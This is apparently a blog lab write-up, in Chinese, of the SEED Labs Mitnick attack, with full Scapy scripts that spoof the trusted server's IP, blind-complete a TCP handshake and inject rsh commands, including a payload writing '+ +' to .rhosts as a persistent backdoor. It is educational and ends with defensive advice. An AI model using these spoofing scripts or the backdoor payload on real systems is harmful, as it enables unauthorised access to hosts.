Featured image of post Mitnick攻击

Mitnick攻击

实验环境

基础环境

我使用的是 Ubuntu 24.04.4,基本环境配置见ARP攻击原理学习

网络结构如下:

节点 IP 地址 作用
攻击机 10.9.0.1 伪造身份并发送攻击报文
X-Terminal 10.9.0.5 受害主机
Trusted Server 10.9.0.6 被受害者信任的服务器

启动实验前先停止并清理容器环境,防止被之前的网络配置干扰

1
2
sudo docker stop $(sudo docker ps -q) 2>/dev/null
sudo docker system prune -f

进入实验目录并启动

1
2
cd seed-labs/category-network/Mitnick_Attack/Labsetup
sudo docker compose up -d

打开三个终端分别进入对应的容器

攻击者:

1
docker exec -it seed-attacker /bin/bash

受害者:

1
docker exec -it x-terminal-10.9.0.5 /bin/bash

受信任服务器:

1
docker exec -it trusted-server-10.9.0.6 /bin/bash

建立信任关系

Mitnick 攻击的原理就是利用受害者和服务器的信任关系,因此实验开始前必须先进行配置

在受害者容器中切换到 seed 用户,配置.rhosts文件来信任来自服务器的连接

1
2
3
4
5
su seed
cd ~
touch .rhosts
echo 10.9.0.6 > .rhosts
chmod 644 .rhosts

.rhosts是声明当前主机信任哪些远程主机的文件,写入10.9.0.6表示信任来自服务器的远程访问请求

在服务器容器中切换到 seed 用户,用 rsh 远程执行命令获取受害者时间,如果返回正确的受害者系统时间而且不需要输入密码,说明信任关系建立成功

1
2
su seed
rsh 10.9.0.5 date

阻断真实服务器

攻击的关键是伪造受信任服务器的身份,然后和受害者建立连接。为了防止真实服务器收到伪造包后回复RST关闭连接,攻击者需要让真实服务器暂时无法正常回应。一般会使用 SYN 洪泛攻击让服务器无法处理正常连接

这个实验使用静态 ARP 映射来模拟洪泛攻击效果。首先在受害者容器把 10.9.0.6 映射到一个不存在的 MAC 地址,让受害者发往服务器的报文无法真正到达

输入exit退出seed进入root,然后输入下面的命令修改受害者的arp缓存

1
2
arp -s 10.9.0.6 aa:bb:cc:dd:ee:ff
arp -n

可以看到修改前受害者可以ping通服务器,修改后就全部丢包,之后服务器就无法对实验产生任何干扰了,相当于静默状态

伪造 TCP 连接与 RSH 会话

攻击者伪造受信任服务器的 IP 地址,向受害者发起连接,盲猜 TCP 序列号完成握手。连接建立后,再通过 RSH 协议注入命令

修改攻击脚本

打开 volumes/spoof_ack_plus_data.py,将注入命令改成创建 /tmp/mitnick 文件:

1
data  = str(srv_port2) + '\x00seed\x00seed\x00touch /tmp/mitnick\x00'

输入ip addr确认攻击者容器的网卡名,找到 10.9.0.1 对应的网卡,我这里是叫br-302e4ba285b3

将所有攻击脚本末尾 sniff() 函数中的 iface 改成实际的网卡名,否则脚本正常运行,但实际上抓不到目标的通信流量

执行攻击

在攻击机容器中需要开启三个终端,并行运行三个脚本

终端 1 运行 spoof_ack_plus_data.py

1
2
cd volumes
python3 spoof_ack_plus_data.py

这个脚本负责盲猜序列号,伪造 ACK 完成握手,并发送 RSH 命令数据、

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/python3
from scapy.all import *
import time

x_ip      = "10.9.0.5"  # X-Terminal
srv_ip    = "10.9.0.6"  # The trusted server

x_port    = 514         # Port number used by X-Terminal
srv_port  = 1023        # Port number used by the trusted server
srv_port2 = 9090
syn_seq   = 0x1000      # Initial sequence number

# Spoof the ACK to finish 3-way handshake initiated by the attacker
# After that, spoof a rsh data packet
# We are only allowed to use the sequence number in the captured packet
def spoof(pkt):
    old_tcp = pkt[TCP]

    if old_tcp.flags == 'SA':
       # Spoof ACK to finish the handshake protocol
       ip =  IP( src   = srv_ip, 
                 dst   = x_ip)
       tcp = TCP(sport = srv_port, 
                 dport = x_port,
                 seq   = syn_seq + 1, 
                 ack   = old_tcp.seq + 1,
                 flags="A")
       print('  {}-->{} Spoofing ACK'.format(tcp.sport, tcp.dport))
       send(ip/tcp, verbose=0)

       # Send rsh command to X-Terminal
       tcp.flags="PA"
       data  = str(srv_port2) + '\x00seed\x00seed\x00touch /tmp/mitnick\x00'
       #data = str(srv_port2) + '\x00seed\x00seed\x00echo + + > .rhosts\x00'
       print('      Sending data: {}'.format(data))
       send(ip/tcp/data, verbose=0)

       # Reset the connection after 2 seconds
       # This is not necessary. We did this, so we can repeat the attack.
       time.sleep(2)
       tcp.flags = "R"
       tcp.seq   = syn_seq + 1 + len(data)
       print('  {}-->{} Resetting connection'.format(tcp.sport, tcp.dport))
       send(ip/tcp, verbose=0)

f = 'tcp and src host {} and src port {} and dst host {} and dst port {}'
myFilter = f.format(x_ip, x_port, srv_ip, srv_port)
sniff(iface='br-302e4ba285b3', filter=myFilter, prn=spoof)

终端 2 运行 spoof_syn_ack_2nd.py

1
2
cd volumes
python3 spoof_syn_ack_2nd.py

这个脚本用于处理 X-Terminal 产生的第二个反向连接握手

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3
from scapy.all import *

x_ip      = "10.9.0.5"  # X-Terminal
srv_ip    = "10.9.0.6"  # The trusted server

x_port    = 514         # Port number used by X-Terminal
srv_port  = 1023        # Port number used by the trusted server
srv_port2 = 9090        # Port number used by the 2nd connection
syn_seq   = 0x1000      # Initial sequence number 

# Spoof the SYN+ACK to finish the 2nd connection intiated by X-Terminal
# Only allowed to use the sequence number & src port in captured packet
def spoof(pkt):

    # Spoof a SYN+ACK reply after receiving a SYN packet
    old_tcp = pkt[TCP]
    if old_tcp.flags == 'S':
       print('  {}-->{} Spoofing SYN+ACK.'.format(old_tcp.dport, old_tcp.sport))
       ####################################################
       ip  = IP ( src   = srv_ip, 
                  dst   = x_ip)
       tcp = TCP( sport = srv_port2,
                  dport = old_tcp.sport,
                  seq   = 2000,   # can be any number
                  ack   = old_tcp.seq + 1,
                  flags="SA")     # Set the SYN + ACK bits
       ####################################################
       send(ip/tcp, verbose=0)

f = 'tcp and src host {} and dst port {}'.format(x_ip, srv_port2)
sniff(iface='br-302e4ba285b3', filter=f, prn=spoof)

终端 3 运行 spoof_syn.py

1
2
cd volumes
python3 spoof_syn.py

这个脚本负责向 X-Terminal 发送伪造的 SYN 包,触发整个攻击流程。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#!/usr/bin/python3
from scapy.all import *

x_ip      = "10.9.0.5"  # X-Terminal
srv_ip    = "10.9.0.6"  # The trusted server

x_port    = 514         # Port number used by X-Terminal
srv_port  = 1023        # Port number used by the trusted server
port_2nd  = 9090        # Port number used by the 2nd connection
syn_seq   = 0x1000      # Initial sequence number 

# Spoof a SYN from Trusted Server to X-Terminal
ip  = IP(  src   = srv_ip, dst   = x_ip)
tcp = TCP( sport = srv_port, dport = x_port, 
           seq   = syn_seq, flags = 'S')
print('Sending SYN...')
send(ip/tcp, verbose=1)

验证攻击结果

回到受害者容器中检查 /tmp/mitnick 文件是否生成,这里可以看到文件说明攻击者成功伪造服务器身份并注入了命令

1
ls -l /tmp/mitnick

设置永久后门

前面的攻击只是创建了一个文件。为了进一步利用受害者,攻击者可以通过注入命令修改 .rhosts 文件来植入永久后门

修改攻击载荷

在攻击机中修改 spoof_ack_plus_data.py 的数据部分,将原来的 touch 命令替换为修改 .rhosts 的命令

1
data = str(srv_port2) + '\x00seed\x00seed\x00echo + + > .rhosts\x00'

+ + 表示信任任意主机上的任意用户。这个配置非常危险,一旦写入成功,攻击者就可以直接登录受害主机

重新执行攻击流程

重新运行前面的三个攻击脚本:

1
2
3
python3 spoof_ack_plus_data.py
python3 spoof_syn_ack_2nd.py
python3 spoof_syn.py

攻击完成后,回到攻击机容器中切换到 seed 用户,并尝试直接登录 X-Terminal:

1
2
su seed
rlogin 10.9.0.5

如果无需密码即可进入 10.9.0.5 的 Shell,说明后门已经植入成功。

进入后可以查看 .rhosts 文件内容:

1
more .rhosts

如果文件内容变成:

1
+ +

说明 X-Terminal 的信任策略已经被篡改,攻击者获得了对受害主机的直接访问权限。

实验结论

Mitnick 攻击利用了早期 TCP 协议和基于主机信任机制的安全缺陷。攻击者先让真实 Trusted Server 静默,再伪造其 IP 地址与 X-Terminal 建立连接,通过预测 TCP 序列号完成伪造握手,最后借助 RSH 协议注入命令。

这个实验可以看出,单纯依赖 IP 地址和主机信任关系进行认证是不安全的。攻击者只要能够伪造源 IP 并预测连接状态,就可能绕过登录认证。

RSH、RLOGIN 这类协议本身缺乏加密和强认证机制,已经不适合在真实环境中使用。实际环境中应使用 SSH 替代,并关闭 .rhostshosts.equiv 这类基于主机信任的认证方式。

Like 0
本站已不稳定运行 小时 分钟
共发表文章 27 篇 ,总计 114.11 k 字
本站总访问量:
使用 Hugo 构建
主题 StackJimmy 设计